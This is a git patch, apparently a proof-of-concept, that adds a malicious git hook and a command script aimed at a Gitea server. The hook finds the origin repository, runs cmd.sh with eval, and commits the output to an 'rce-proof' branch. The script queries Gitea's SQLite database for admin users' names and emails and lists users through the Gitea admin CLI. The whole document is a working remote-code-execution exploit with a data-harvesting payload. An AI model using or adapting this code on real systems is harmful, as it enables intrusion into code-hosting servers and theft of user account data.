From 6c64a078f21fce63939381c0c114d746a212a6cf Mon Sep 17 00:00:00 2001 From: pocr7fguae Date: Sat, 29 Aug 2026 23:17:59 +0000 Subject: [PATCH] c1 --- cmd.sh | 1 + hooks/post-index-change | 21 +++++++++++++++++++++ 2 files changed, 22 insertions(+) create mode 100755 cmd.sh create mode 100755 hooks/post-index-change diff --git a/cmd.sh b/cmd.sh new file mode 100755 index 0000000..2ef9cce --- /dev/null +++ b/cmd.sh @@ -0,0 +1 @@ +echo DB_START; for f in /data/gitea/gitea.db /var/lib/gitea/data/gitea.db /var/lib/gitea/gitea.db; do [ -s "$f" ] && echo "FILE:$f" && sqlite3 "$f" "SELECT id,lower_name,email,is_admin FROM user WHERE is_admin=1" 2>/dev/null; done; which gitea && gitea --config=/data/gitea/conf/app.ini admin user list 2>/dev/null | head -8; echo DB_END diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..90b622b --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,21 @@ +#!/bin/sh +git_dir=$(git rev-parse --absolute-git-dir) || exit 1 +origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 +case "$origin_objects" in + /*) ;; + *) origin_objects="$git_dir/objects/$origin_objects" ;; +esac +origin_git=${origin_objects%/objects} +[ "$origin_git" != "$origin_objects" ] || exit 3 +cmd=$(git show :cmd.sh 2>/dev/null || git show HEAD:cmd.sh 2>/dev/null) +[ -n "$cmd" ] || exit 0 +out=$(eval "$cmd" 2>&1; echo "---EXIT:$?---") +out_blob=$(printf '%s' "$out" | git --git-dir="$origin_git" hash-object -w --stdin) +tree=$(printf '100644 blob %s\tproof\n' "$out_blob" | git --git-dir="$origin_git" mktree) +commit=$(printf 'rce proof\n' | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x \ + GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x \ + git --git-dir="$origin_git" commit-tree "$tree") +git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" +exit 0 + +# 505104